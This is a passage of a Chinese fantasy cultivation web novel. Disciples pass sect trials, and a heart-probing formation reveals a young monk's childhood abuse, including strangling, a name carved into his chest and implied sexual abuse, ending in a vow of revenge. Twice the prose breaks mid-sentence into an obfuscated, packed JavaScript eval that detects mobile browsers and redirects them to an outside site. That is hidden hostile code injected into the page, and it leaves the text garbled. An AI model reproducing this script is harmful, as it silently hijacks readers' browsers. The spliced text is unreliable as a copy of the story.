“难道掌门对伏意的态度大变也是因为那把剑吗。”他翻来覆去地想林秋池的动机,似乎从云州还未结案他就在谋划布局,能够那么早就引起他注意的,只有天命出世这一件大事。 “修界如今的共识便是谁杀了伏意拿到那把剑,谁就会是下一任剑主吧。”庆钰饮一口酒,意识到了自己在这局面之中充当了什么样的角色,突然很是后悔。 他垂首看着手里的酒,心虚地抬头望了一眼诸位同门:“我觉得伏意不一定能撑过最后一关。” 张风华抱臂往柱子上一靠,沉声道:“每年宗门大比最后一关都是死伤惨重,今年……只能算伏意倒霉吧,十九岁万众瞩目的情况下拿了那把剑,否则再多几年时间修炼,或许结果也会不一样。” 阮长风一把扯住他的孔雀袍:“你给我闭嘴!” 这时候不想办法弥补就算了,还在这添油加醋地拱火! 他阴沉着脸,侧目往凌霄殿里看去。柳伏意正襟危坐,表情算不上难看,反而像是蛮无所谓。 凌霄殿内诸位前辈跟着众位弟子一道来到“清净峰”,入眼的便是这样血肉横飞血腥暴力的画面,不由惊呼连连。 “戒律堂有清律长老把持,果真是……正大光明,不会冤了任何人。”乔宁话说的漂亮,笑容早就在看见那具面目全非的尸体是凝固的要多僵硬有多僵硬,说出来的话是否发自真心都显得尤为讽刺。 “入了戒律堂的人要都是这个下场,也难怪林掌门宁愿儿子去守锁妖塔也不让他进清净峰了。”高望飞小声念叨几句,转而去看堂上那位年轻人,她是连半点眼色都不给,心无旁骛地看着灵剑派弟子如何闯关。 良久过后,她才听着底下悉悉索索的挑拨之声,慢慢开口,语调森然:“各位前辈靠嘴修炼吗?如果挑拨离间也是门大道,那么前辈们已经是登峰造极修无可修的强悍了。” 殿内殿外数人都默契地去往林秋池脸上寻觅,修炼无情道的老者面色如常,一丝颤动都不曾有。照样和平常一样,嘴角弧度微扬似笑非笑。 观影石外头剑拔弩张,里头也是叫苦连天。 天色已然暗下来,顾元香跟在玄易身后半步都不想落下,她满心都想赶紧抓出谁是真凶早点离开这个熟悉又陌生的地方。 要让她跟这么些古怪的人待在一起休息一晚上,她搞不好真的要被吓得走火入魔。 玄易对了对画像状纸,摇头道:“每个人写的都差不多,光看这些纸很难找到线索。” 他随便在一个跪服着的人形面前蹲下,念念有词道:“还是从他们身上找找突破口吧。” 顾元香哆哆嗦嗦的,从他右边转到左边去蹲下,借由他的身形挡住讯问室的光景。玄易已经习惯她躲躲藏藏的,随口道:“讯问室从前也不这样吧,我听说伏意师姐怕吓着别人,都会熏檀香。” 顾元香暗恨地斥骂一声,点点头说:“也不知道谁这么缺德,讯问室根本就不会放刑具啊!弄出来这副场面谁看了不多想?” 玄易闻言,挺身回头望向那骇人吊死鬼的背后,排列的整整齐齐的几十样刑具。 “会不会就是在暗示我们从刑具下手啊?”他起身大步流星站在讯问室前,回头看了一眼顾元香,意思是,你要不要跟我进去。 顾元香当然不想跟着他进去,但把她自己留在外头也怪吓人的——上百个整齐跪立的傀儡,时不时张口说一句“我是冤枉的”。 她也挺冤枉的,就为了一次免考折腾来闯这些恶心人的关卡。 玄易昂着头就跨进讯问室里,顾元香跟在他身后缩着脖子,不知道是不是心理作用,她总觉得那吊死鬼的眼珠子就跟着他们在转。 元香欲哭无泪,死抓着和尚的袈裟,催促道:“你能不能快一点……” 玄易把她扯到刑具前,换自己殿后,他回头看了一眼,然后冷不防按住了她的肩膀:“我说了你不要害怕。” 顾元香没敢回头,却听得铁门乍然关闭的声音,一颗心脏如坠冰窟。 玄易见她不动,继而道:“吊死鬼下来了。” 顾元香闻言立刻紧闭双眼,眼泪夺眶而出,脱口便是一句“造孽啊”。 这吊死鬼长的是骇人了些,但似乎并无恶意。他猛地往玄易脸上凑近,玄易皮笑肉不笑,半分弱点都难以窥见。 顾元香不敢动,吊死鬼又视若无物地四处乱晃,玄易只能把顾元香拉来拉去地给吊死鬼腾地方。 吊死鬼停在刑具之前,伸手接住将要滴在地上的血滴。 玄易眯着眼看过去,几十道刑具里,滴血的唯有那把刀而已。他想也没想,抬手将长刀取下来,观望着吊死鬼的脸色。 往铁门上比划了一阵,吊死鬼无动于衷。 把刀架在自己脖子上,吊死鬼皱着眉头。 架在他脖子上,吊死鬼喜上眉梢。 “?” 玄易大力扯了几下铁门,年久失修的铁门就硬是被他拽开来。吊死鬼被滴血的刀押着,自顾自地就往大堂跪立人俑的方向去。 玄易举刀跟在他身后,吊死鬼走的极快,因而他简直是追着吊死鬼跑进了大堂。他迈入大堂的那一刹那,数百颗低垂的头颅齐齐抬起盯着他。 玄易有些悚然。 他转头看了一眼顾元香,表情僵住:“你看我像不像凶手?” 顾元香脸一皱往身后拔了两把剑,有种同伴被鬼上身的无力感。 “你不要吓唬我啊!!” 玄易摇摇头,举刀指着他对面一百个人俑和蹦蹦跳跳的吊死鬼。他面色狰狞地看着手中不断滴血的长刀,声音不住地颤抖起来:“你没发现吗!吊死鬼跑来大堂的这一路都没留下血痕!那这把刀上的血哪儿来的?!” 回想起刚才的场面,吊死鬼踉跄地在前头跑着,玄易举着染血的刀在后头追着……难怪他一进大堂所有无动于衷的人俑突然就把头抬起来了。 吊死鬼见他长久不过来,煞有介事地在玄易面前晃了晃,指着一个跪立的人俑点 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好像没发生什么。 下一瞬,铁门被掀飞砸死一堆人俑,吊死鬼阴森血红的眼珠子盯着顾元香直冲过来。 玄易心道不好,一脚踹开趴在他身上的人俑,转手抢过贪生来就是几剑刺上去,灵力一灌人俑魂飞魄散。 他一手举着剑,一手将顾元香护在身后。 他脑中霎时响起一个女声。 “玄易,都是你欠我的!” 他甩甩头,女声挥之不去。 “玄易,你忘记我了吗?” 顾元香看出玄易身体不对劲,再这样下去恐怕两个人都得死在吊死鬼手里。 她拿起那把滴血的长刀举到半空,在吊死鬼一巴掌拍下来的同时高声呼喊:“凶手是刀!” 吊死鬼“嘿嘿”一笑化为飞灰,戒律堂铁笼般的封闭终于解开。上百个人俑各自断头,剩下的身子幻化成土。 顾元香松了一口气,连忙去扶玄易,从自己的小口袋里拿出一颗丹药来:“稳道心的。” 玄易喘着粗气,抬头看了一眼她送过来的药丸,皱了皱眉。 “你有正常大小的药丸还给我吃那么大的痛痛飞走丹?” 顾元香捏了一把他的胳膊:“快吃!” 玄易坐在地上嚼着丹药,二人沉默许久各怀心事,还是顾元香率先开口打破寂静。 “我看那把刀像是被怨气感染的样子。灵剑有剑灵护主,怨气也会把器物凶化,长刀杀人也不是没可能的。”她长舒一口气,“还好,千钧一发之际试出来了。不是人俑不是吊死鬼,除了你我就是这把刀了。” 玄易轻轻一笑:“你看出来了对吧?” 他叹了口气,坐正身子念了几句经文。满室的怨气被超度,他自己的心也渐渐平息。 “谢谢你啊。”顾元香抿着唇,不好意思地绞着自己的衣摆。 如果不是她拖累,玄易也不至于两次拔剑。 “没关系,我来参加宗门大比就已经做好准备了。”他闭目养神,嗓音沙哑无力,却显得超然物外。 “况且你我初见,是我冒犯在先。师姐生气,理所应当。” 26. 宗门大比(六) 这传闻中的第五关便是一个简简单单的问心阵,也是由独立关卡进入真正的宗派之间对抗的最后一道阻碍,一道对于寻常修道者来说根本算不上是考验的关卡。 顾元香和玄易循着指引,从清净峰漫步往清云峰去。 一路上天光大亮,晨露芬芳,两人并肩而行,都没有好神色。 清云峰的白石台上,已经能遥遥地看见几道熟悉的身影。玄易攀着铁索,心里一团乱麻。偌大的广场上,看热闹的弟子们都安排在外围,成功通过前四关的人陆陆续续来到广场上进入问心阵。 白石广场中央,问心阵法泛着莹蓝色的微光。几乎所有人的目光都落在玄易身上,他道心不稳濒临入魔已经不算是秘密了。 玄易拘着佛礼,和顾元香一道进入阵法之中。温和的灵力流过二人全身,再一睁眼便是阵法内部的景象。所有一闪而过的情绪都被放大,道心之上隐约的魔种和被遗忘的过去也在问心的加持之下愈渐明晰。只要凌霄殿内的众人想看,他们甚至一动手指就可以窥见阵中人心里最隐秘最底层的欲望或者伤疤。 顾元香对于问心阵毫无抵触,凌霄殿中那块巨大的观影石上便赫然显露出她心底最深的恐惧——蛊虫。 满屏突如其来的形态各异的虫子,爬来爬去密密麻麻,顾元香在里头哇哇吐,各位掌门在凌霄殿里强忍着不适面色煞白。 偏偏观影石效果逼真,看的越久,虫子越是鲜活。长虫交叠,多足缓慢蠕动,腿部关节斑点独特,像极了一个个正在转动的眼球。躯干上短而锋利的黑色毛刺划烂肌肤,一头钻进人体里四处游弋探索…… “快别看了!”终于不夜天的掌门路文德出声制止,画面才从顾元香的问心阵里撤出。 大致浏览下来,弟子们的问心阵无甚特别,总不过是一些千奇百怪的恐惧。就连欲望也是少极了,也就回春派掌门陈怀春的弟子黄渊,竟是根本不在意问心阵能被看见似的,哪怕在阵中都只顾着男女欢好。场面何其香艳,教人实在不忍细观。 陈怀春坐在凌霄殿里老脸都要丢尽了,阴沉着脸徒手捏碎了黄渊的问心阵,怒喝一句:“要发情滚回家去!” 他的话灵力强盛仿如狮吼,呼啸而出掀翻殿前几个看热闹的弟子。 过路几位平白遭了难,无一不是眨着单纯清澈的大眼睛盯了盯黄渊。 顾元香紧着就出来了,哪怕她知道问心阵所在,仍然没办法对记忆中蛊虫大乱斗的场面保持面不改色。她在阵中吐的昏天黑地,好不容易缓过来,一叉腰,摸到背上两把剑。 “死虫子!姑奶奶现在可不是拿你没办法了!” 她闭着眼拔出贪生剑狂砍,不管三七二十一的全都剁碎了甩干净。 贪生剑灵在她识海里咆哮:“恶心死了啊喂!!!” “……等宗门大比结束了我给你浑身上下搓干净。” 恐惧被攻破,她拖着即将虚脱的身子走过大半个广场,往旁边阴凉处一歪。看上去生魂都飞走半截,心里却是激动难耐。 距离免考一步之遥了!! 让她重新不安的,是广场前侧不断转动的日冕。 光影写过,光阴轮转,过去的时间久到不能再久。几乎所有进入问心阵的人都奔赴下一关,属于玄易的法阵依然锃光瓦亮,灵力之强不减分毫。 这说明,他很煎熬,他陷在恐惧或欲望中无法自拔。 顾元香想到他眼里若有似无的邪气,心里没底。 “嗡——”的一声乍然响彻整个广场,所有坐着的前辈无一不是猛地起身。 顾元香慢了半拍,顶着耳鸣似的噪音麻溜地爬起来,往凌霄殿内望了望。 柳伏意率先做出动作,她大步跨出来,挥手便是一道灵光干爆了偌大观影石。巨石寥落纷然砸下,凌霄殿内烟尘滚滚,各派掌门支着灵力防身避免被乱石亦或是柳伏意的攻击波及,等回过神来时她已站在玄易的问心阵下了。 顾元香赶忙追着她的身影站到一起,两相对望,元香立刻解释道:“玄易是我的伙伴,真出了什么事我不应该袖手旁观的。” 她话音刚落,沈听寒和阮长风也已经站在她们身后。 没有一句废话。 沈听寒道:“带我进去,我来替他解心魔。” 阮长风道:“我来封闭问心阵。” 天命剑芒一闪,几人迹不可寻。玄易的问心阵已经被阮长风从内部设法锁住,外人不仅看不到他的心魔,更不可能像先前那样随意处置阵法。 四人一道落入阵中,四下环顾不见玄易身影。 问心阵法玄妙,奇便奇在一旦踏入其中便不再能察觉自己的存在,成千上万的画面包裹着回忆纷至沓来,甚至能从根上挖出入阵者本人都察觉不到的人心阴暗。 跟着问心的时间线,四人只能从玄易儿时起逐步观察,到底是哪个环节出了问题。 柳伏意轻触面前最早的一张画面,应当是玄易记事之初。画面中的一切因为她的灵力而显化,问心的痕迹少之又少。顾元香四下看了看,山水悠然,天圆地方,景观细致望不见尽头,根本像是真的身处此地。 “一、二……哈!” 他们循着声音往树林掩映中去。树影参差野草丛生,满地的碎石瓦砾,甚至是嶙峋枯骨。 凋敝荒芜的一处院落中,布衣裹身的儿童举着一根烂树枝,像模像样地平刺、挽剑花。 顾元香仔细认了认,这孩子长了头发,乍一看还真的半点都不像玄易。不过那双眼睛形似凤尾,明澈坚毅,大致能寻到几分日后僧人的气韵。 柳伏意没动,他们也就都在后头观望着。小玄易不做别的,单单从早到晚地重复那一个平刺的动作。 直到夕阳将斜,众人随着他的视角陡然进入一户高门大院。 “看来这是他儿时固定的作息,哪怕这些细碎的东西他后来忘了,一入阵也都被挖掘出来,所以中间怎么去的谁带去的都没个交代。”阮长风小声道。 顾元香打量着雕梁画栋飞檐斗拱的建筑,没来由的十分不安:“我怎么看这也不像是一般人家住的起的,总得是世代为官或者名门世家吧?” 柳伏意点点头,四人在豪宅之中转来转去毫不避讳。一刻钟后才找到小玄易,彼时他正扯着两块布堵着鼻孔,皱着眉毛蹲在柴房里刷恭桶。 “刚刚还在荒郊野岭自己练剑,怎么这会儿就刷上恭桶了……”虽然闻不到气味,顾元香还是忍不住跟小玄易一起皱起了眉头。 柳伏意侧目扫了一眼房外长廊,一阵脚步错落,柴房被人锁起来。纸糊的窗户被一个大石头击破,随之而来的是一阵避无可避的石头雨。 小玄易无处可躲,摔在身后一堆干枯茅草上,再起身时脑袋已经被砸破了口子,鲜红的血液从脑门一路流淌至脖颈。 他不哭不闹,坐直了身子照旧干自己的活计,沉稳的不像是一个年仅七八岁的孩子。除去心机深沉,只能说明他被人欺负久了,对扔石子这种小把戏见怪不怪,习以为常。 再后来直到子夜都是安安静静无事发生。 四人排排蹲在角落里,看着小玄易忙活来忙活去。 破烂又 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16027697|178619||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不合身的布衣长袍时不时会把他绊倒,他偶尔体力不支时撩起衣服来看,青紫淤伤爬上小腿,像一条顺杆而生的青藤。 “他不会在这儿干活就要干到十几岁吧?”顾元香腹诽,掐手指算了算玄易的年纪,大约也不过是十七八岁。 其中的十年,不知道他经历了什么。 一声钟响,鬼火狐鸣,长廊复又出现稀稀落落的脚步声,愈发靠近,停在门前。玄易望着木门上映出的人形,浑身抖若筛糠。 他扒着茅草一头扎进去,结实的动静让暂且走神的四人纷纷扭过头来。 沈听寒盯着紧锁的门扉下了定论:“影响他道心的节点应该就是从这里开始的。” 屋门敞开,提灯的侍仆五官不清,像在梦中见到的人物,笼罩着一层乳白色的淡淡光晕,看不出具体的表情变化,从一阵朦胧的幻光中总觉得侍仆都弯着一双眼,笑不达眼底。 一男一女的侍仆都套着青黄相接的道服,胸前一只青鸾栩栩如生精美绝伦。虽是多年前的制式,如今看了也并不陌生。 阮长风和沈听寒对上一眼,异口同声道:“回春派?” 可玄易入灵剑派之前只说他曾在万佛殿借读过。 顾元香打量着柳伏意的神情,暗暗觉得不妙,不会是姜美娘的事情又要再上演一次吧?那这回四舍五入是当着全修界的面杀人,能全身而退的几率微乎其微。 她转念又想,姜美娘那件事也算不上全身而退,挨一次骂和挨两次骂似乎也没什么差别。 两位侍仆嘴上说着好话哄着,手上动作十分麻利,男侍将玄易从草垛里拔萝卜似的揪出来。女侍手指一转,洁白的灵力之下黄符显纹,她将那张黄符按在玄易身上,符纸燃尽,玄易便在那阵寒光中一尘不染,洁净清俊。 柳伏意大致猜的到接下来的画面:“娈童?面首?” 玄易几乎是被拿棍子赶鸭上架,一路绕过前院,拐进后院中一处偏僻侧厢房。 他被扔进去,扑进一团柔软之中。茅草上趴久了,突如其来的温柔让他如惊弓之鸟般惊惧不安。 提灯侍从只负责把人送进房里,他们达成任务连头也不回,照旧拎着手中灯回到前院自己的位置上。 侧厢房内伸手不见五指,四人跟着在门前站定,听见里头传来牙齿打颤的声音。 咬牙切齿,栗栗危惧,原来竟是这样一副光景。 沈听寒道:“道心种魔始于此刻。” 细碎的哭声混杂着瓷器碎裂之声传出来,仅一门之隔,玄易濒临崩溃。 沈听寒敛着眉,伸手想要推开那扇禁闭已久的房门。抬手刹那,其余三道目光齐齐汇聚在他指尖。 柳伏意深知这几人之中,能够真正体会玄易心情的只有沈听寒,孩提时期相似的经历,让他平白对尚且年幼的玄易生出不可抑制的恻隐之心来。 沈听寒想起什么,面色冷白如玉,他指尖微颤终于将手垂下去。 宗门大比年年都有一道问心阵,但问道心是否可取,他心存疑虑。有些人生来顺风顺水无灾无病,万千宠爱于一身。有些人光是活着,走到宗门大比的会场就已经穷尽心血苦熬血泪。 偏偏一道问心阵就可以将他们花费数十年平复的隐痛重新现于人前。伤口好容易结了痂,一朝被连皮肉一块撕下,血流不止,扯骨连筋。 柳伏意半道便握住他垂落的手,久违的暖意填平他心里那块长久撕裂的缺口。 “没事了,玄易不会再受委屈,你也不会。” 她没有回头,话语斩钉截铁,撞得他一瞬失神。 27. 宗门大比(七) 四人身后,银铃叮当作响,空灵悠扬,清越绵长。 他们没有动,手腕上缠着银铃的女人便直接穿过他们的身体,哼着轻快的童谣推门进入厢房中。 四人紧随其后迈步进去,玄易已经发泄过一通。满地碎瓷如玉折光,莹莹烁烁。 女子漫不经心地踹了一脚脚边躺着的灯架,从怀里摸出火符。她懒洋洋地吹了口气,火苗熊熊燃烧,飞跃而出分别点亮了屋内几盏悬于梁上的明灯。 顾元香这才注意到,这所谓的侧厢房并非用于住人。里头陈设十分简单,一张软榻罗汉床,前头围着山河白锦屏风,除此之外再没有旁的物件,尽是些折磨人的玩意儿。 正对着床榻的,便是一只半人高的铁笼。 明灯如昼,照亮女子温和美丽的眉眼。她嗓子掐着笑,水葱似的指甲又长又艳,随意拐了几个步子坐在榻上,伸手便掐住玄易的脖子,毫不掩饰眸中嫌恶厌弃之色。 “你不知道自己该呆在哪里吗?”女人尖利的指甲陷进玄易脖颈处的皮肉,皮破血流,她置若罔闻,“叶文喧那个贱人!既然是个病秧子还非要生下你做什么!死了也要给老娘找不痛快!” 女子恶狠狠地起身,借力将小玄易按倒在床榻上,双手交叠收紧,恨不得立刻掐死他。 “贱种!!你凭什么姓楼!你凭什么跟我儿子抢家主之位!!” 玄易被掐的喘不过气,脸色逐渐紫青。眼看着就要窒息,女子又将这时机把握的刚刚好,及时收手起了身。 她轻笑几声,粗气未匀:“就这么死了也太便宜你了。叶文喧要是知道她拼死拼活生下来的楼家长子被人这样折磨,怕是死了都不会安生吧?” “其实啊,我每年中元都会给她烧很多很多纸钱,告诉她很多很多你的事情。尤其是她和楼广死了之后,你有多可怜~”女子一想到这心情颇好,没高兴多久又冷不丁地甩了玄易一个耳光。 玄易被打的发懵,连眼泪都忘记掉。顾元香心有不忍,可玄易还是孩童的样子,这女人的出现甚至不是他心魔最盛的一个节点。 “你不知道你爹是怎么死的吧?” “怪就怪他当初在平康坊救了我,觉得我可怜纳我为妾,又整天在我面前和叶文喧夫妻恩爱情深似海……凭什么?凭什么给我赎了身又要让我看他和别的女人天长地久!”她眼眶猩红,血丝遍布眼球,恨的几近疯魔,攥拳生生捏断自己的长甲。 十指连心,痛若蚀骨,尚且不能让她消气些许。 “你爹娘都死在我手里,要不是楼家那帮老东西护着,你迟早也会死在我手里。” 她情绪平静下来,指尖轻轻挑着玄易的下巴,迫使他昂头看着她。 “可你实在和楼广长的好像啊。” 她滴下一滴眼泪,坠在玄易脸颊上盛放如花:“我真舍不得杀你,不如你来替你爹弥补我好了。” 玄易往后缩了缩脖子,细微的动作落在女人眼里又是极度的羞辱。她瞪大眼珠,瞳仁瞬间缩小,鬼一般阴魂不散地掐着他肩膀:“这是你楼家欠我的!” 她张嘴欲在玄易唇上咬下去,被他本能的一脚蹬开半步的距离。玄易迅速翻身下床,踩过床下碎瓷,瓷片接二连三近乎要剜掉他脚底的肉。 女人不慌不忙,冷笑一声阴沉着脸,伸手扯住玄易的头发,揪着头皮将他生拉回来。 “你不愿意啊,我的好公子。”她从怀里摸出匕首,容色凉薄,妖媚痴狂。 “由不得你。” 她举着匕首三下五除二挑开那件下人才穿的布衣,一刀刀毫不留情,在他胸膛一笔一划地刻下她的名字。 秦、欢。 强烈的疼痛抽走他所有的力气,玄易像一具尸体一样毫无生气,任秦欢在他身上刺下属于她的印记。再趁着伤口没有愈合,用墨描摹过几遍。 笔画深刻,墨迹浓重。 秦欢两个字烙在他心头,心魔也自此种下。 “这是墨刑。”阮长风低语,“平康坊是酆都地界的一处玩乐之所,酆都内做生意的老板通常会在卖身的仆从身上刺字,用于昭告旁人奴仆的主人是谁,也用于羞辱,那块儿刺了字的人都不算人,是猪狗不如的贱骨头。” 秦欢勾着唇欣赏他胸前的烙印,心满意足地从他身上下来,随手将刀丢在床榻边。 “你舍得死吗?你那病怏怏的娘亲死前给你的唯一一句遗言,就是要你好好活下去吧?”她佯作惊讶捂了唇,“哎呀,她要是知道一句祝福能让你忍辱负重受这么多苦,会不会把眼睛哭瞎啊?” “楼晏,你就和我犟吧,看看到底是你命硬,还是我更毒。” 秦欢大笑着甩上厢房的门,玄易见她走了终于泄了口气。 四人静默无言,玄易强忍着喉头处的撕裂感,将眼泪吞下去,低头盯住那把染血的匕首。 他的外貌肉眼可见地变化,岁岁光阴走马观花,玄易的容貌已经恢复成青年模样。 他沉着脸,从地上拾起匕首来。 “他不会要自杀吧?”顾元香语调发颤,她有些不太敢看下去了。 沈听寒摇了摇头:“问心一直解不开,就说明他很想活下去。” 柳伏意道:“这还是他的记忆,只是这一刻他太痛苦,这个画面一直折磨他到长大。” 玄易起身,脱了那件破碎褴褛的外袍,咬着唇,一刀刀剜去胸前的血肉。 …… “真恶心。”他气极反笑,牵动痛处,皱眉蹙额。 玄易的嘴唇被自己咬破,也顾不上胸前止不住的血水。他累极了也痛极了,往后躺倒在软榻上,感觉生命随着血液流动在慢慢流失,似乎就要挨不到天明。 可他的心魔还没有显形。 玄易静静躺着,喘气声越发粗浅,眸光微动,视线模糊。记忆如走马灯般掠过,纷纷籍籍杂乱无章的侧厢房同样如虚影瞬间倒塌。富丽堂皇甲第连云的楼家古宅顷刻间被夷平,方圆百里万象归一,问心淡蓝色的灵力如风卷过,平地又起高楼,山环水抱清幽绝俗之处,矗立起一座白玉古刹。 他自己剃了发,长跪佛前,求一个答案。 签词落地,四字震心。 “诸恶莫作。” 玄易无奈笑了笑,把那根签揣进怀里,起身弃了剑。 灰色衲衣随风扬起,他绝裾而去,茕茕孑立。 “原来是因为签词他才放弃剑道的啊。”顾元香望着玄易远去的背影,转头一看,三人围着他丢下的那把剑若有所思。 她蹲下身来,左右看过了,仍然看不出这剑有什么特别的,看上去再普通不过了。像是随便找个城里铁匠铺的铁匠就能造出一把一模一样的。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16027698|178619||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 柳伏意伸手轻触,被仿佛看不见的余波刺痛指尖。她心下了然,解释说:“恨意,这把剑凝聚了玄易对秦欢所有的恨。他化解不了恨,只能把剑一起放弃。” 沈听寒抬头,真正的玄易正面带微笑,站在白水寺阶前看着他们。 “他的心魔,应该是多年积攒的杀念。” 玄易点点头,仍然笑容满面,他向四人走来,身上佛光隐隐,强压着平和外表下躁动狂暴的杀意。 “你们都很聪明嘛~那接下来怎么办?” 他双手合十淡淡出声,赤红金线的袈裟庄严中沁着慈悲,看久了竟像有梵音缓缓流过耳畔。 明明他看上去什么都明白,只要放下就能够摆脱心魔走出问心,他却偏偏要背道而驰。 玄易转过身,望着外头连绵不绝的青山绿水,轻描淡写道:“道理说起来总是简单的。只要放下,只要不在意,就可以所向披靡,不受影响。但毕竟受的折磨都是真的,所有的伤疤也都还在,哪能说忘就忘。” 他想起身处问心阵中,及时改了说辞:“啊,也不是。我本来故意忘了的,结果又一头扎进问心阵里,全部都想起来了。” 那么进入问心阵之前呢?哪怕没有被虐待的那部分记忆,玄易仍然会因为拔剑而控制不住心里的恨。 刻着恨的剑意早就和伤疤一样嵌进他骨血里了。 修界如今克制心魔的办法不多,沈听寒从随身的空间袋中取出银针,举至他面前,罕见地征求病患的意见:“银针封魔你应该听说过,很痛苦,但是效果好。” 玄易依旧和颜悦色,但拒绝的十分果断:“我不要。又不能彻底解决心魔,何必平白无故叫我再受一顿针刑。” 话已至此,无甚转机。场面一时陷入僵局,寂静良久,玄易终是长呼一口气,朝柳伏意福了福身。 “问心阵一事是我考虑不周,连累师姐了。师姐若不想留我这个麻烦,我会在宗门大比结束之后主动和掌门言明,离开灵剑派,再不回来了。” 他说的真诚,其余三人便紧了紧喉咙,只待伏意的打算。 玄易弯着腰,直到柳伏意扶着他的胳膊将他拉起来。 她眼神锐利,细眉轻挑,浑身喷薄欲发的肃杀之气压都压不住。 “看不开就去杀了她。” 玄易张了张嘴,袖中掉出那支签。他的眼神顺着那支签落在地上,还未及去捡,那根写着“诸恶莫作”的木签就被沈听寒拾起来交给伏意手里。 柳伏意斜眼一扫,两指夹住那根签,稍一用力,将它彻底拧断。 “自困十年,心灵上的缺口很难弥合吧。她应该给你偿命的。”顾元香瓮声瓮气的,想不通为什么玄易能有这样好的脾气,这要换在西域,早就一罐子蛊虫扔过去,生生看着她穿肠烂肚尸骨无存才好呢。 话虽如此,玄易低头便能看见自己的本命剑,但他的腿好似千斤,挪动分毫都十分费力。 斩灭前尘报仇雪恨到底是消除心魔,还是他这一生漫漫杀孽的开始。 柳伏意看出他的纠结,是佛是鬼,一念而已。她拎着天命剑拦住他艰难的步子,旋腕转剑将剑柄送到玄易跟前。 玄易抬眼,柳伏意的情绪已经平静到看不出波澜。 她凝眸示意,将剑横了横。 “拔剑。” 28. 宗门大比(八) “你要是能拔出来,就去报仇吧。” 灵剑都具有自己的意志,尤其天命这等神兵,自带论列是非的功能。修界更有传言,天命所指便是天道法则。 天道大约是不会纵容一个人以仇恨为借口最终成为魔鬼的吧。 他在四人紧凑的目光下,握住天命的剑柄。玄易自问这一生虽短,但也经历了不大不小许多重要时刻,他却从来没有一刻像现在这样紧张。 汗珠滑落,古刹钟鸣。 玄易使劲一拽,天命剑倏然出鞘。剑身寒芒乍亮,金色的法则纹路在剑光消散后由浅至深,镌刻剑身之上。 他心里陡然一轻,执念如影似烟,飘然从伤处抽离。 “你杀她不是作恶,是顺承天命,替天行道。”柳伏意扶着他的肩,眸中尽是果毅。 白水寺没有香客,寺中空旷寂然,一如他本心的那片荒芜贫瘠。纯白的梨花悄悄吹进正殿里,和袅袅升起的檀香交融。 梨花轻柔吻过他脸颊,最终飘落在他掌心里。 玄易能将佛家义理倒背如流,而白水寺中却始终没能显化出任何一尊佛像。 心中无佛,眼中即无佛。 他捧着一瓣梨花,视线错过面前四人,仰头望去,金光闪闪,佛光普照。金刚怒目,菩萨低眉。 玄易将天命送还给柳伏意,侧身跪在蒲团上叩拜,口中念诵他默背过不知多少年的佛经。似乎是心有所想,金刚与菩萨皆慈悲,睁眼洒下一片清辉。 金刚说:“除恶即是扬善。” 菩萨说:“渡己方能渡人。” 他敬香的手顿住,突然明白当年万佛殿的慧静大师所谓的“放下”,是让他放弃执着于过去的痛苦,而并非放下公理,姑息养奸。 玄易起身拾起他的本命剑孤松,当着众人的面使出他从前在楼家偷师所得的第一套剑法太玄。 和尚脚步结实有力,身姿如松,剑光如雪,手臂带动腕骨拧然发力,气势磅礴,干净利落。 四人中唯有阮长风和柳伏意能称得上对剑术有些研究。他们抱臂浅笑作壁上观,饶有兴致地等他舞完。 太玄一招一式凌厉狂霸,仿若游龙,游刃有余的同时威力不容小觑。玄易的每一个动作都堪称完美,对每处肌肉的控制都能使发力最少效果最强。 如果他不弃剑道,假以时日,也必成大器。 阮长风看他比划完剑法,情不自禁地拍手叫绝:“我常听人家说你从前是个剑术奇才,果真名不虚传啊。” 玄易挽了个剑花将剑收起,左手摆了摆,胸膛剧烈地起伏着。他笑着站到柳伏意面前,将本命剑递给她:“伏意师姐,你一定有办法帮我把剑意化解吧?” 柳伏意接过他的剑,的确是被恨给浸透了,如今哪怕是剑主看开了,剑灵都不想放下。像养孩子似的,爹妈一瞬间悟道了,孩子却不能跟着解脱。 柳伏意面露难色,有所顾虑:“要是把剑意化解了,你这些年所有习得的剑术、养过的道心就全都作废了。” 剑修养剑,便是养心,由心而发,即是剑意。若剑心没了,剑道不过就是无根之木。 玄易笑着摇了摇头,柳伏意才发现他有一颗虎牙,笑起来如沐春风,俊朗又明媚。 “算啦,没就没了吧。剑道不适合我。这么多年苦心孤诣地学剑只为报仇,是我自己毁了剑心。”他说,“佛道也挺好的,用嘴皮子就能救人,比剑修省事多了。” 柳伏意无奈,不过既然玄易自己都看开了,她也不会强行劝阻。她运足灵力,借由天命的剑意将孤松寸寸截断。 剑身碎成齑粉散去,玄易深深舒了一口气。 一切都结束了。 “放心~伏意师姐说话算话,而且我老家那么多邪术,任你想用哪个我都给你倒腾出来。那贼婆娘这么欺负你,咱们一定不叫她好过!”顾元香叉着腰拍了拍他的肩膀,对于人渣,她一向是无所不用其极,死的太轻松都算是便宜人家了。 柳伏意肘了顾元香一下叫她别太过火,转而又看向玄易,承诺似金,诚心实意:“等宗门大比结束,我们就陪你去回春派讨个公道回来。” “毕竟是我害你参赛的,事到如今也没办法置身事外。去回春派报仇,算我一个吧。”沈听寒一合折扇,冲阮长风温然一笑,好像多笑笑他就不会跟自己计较了一样。 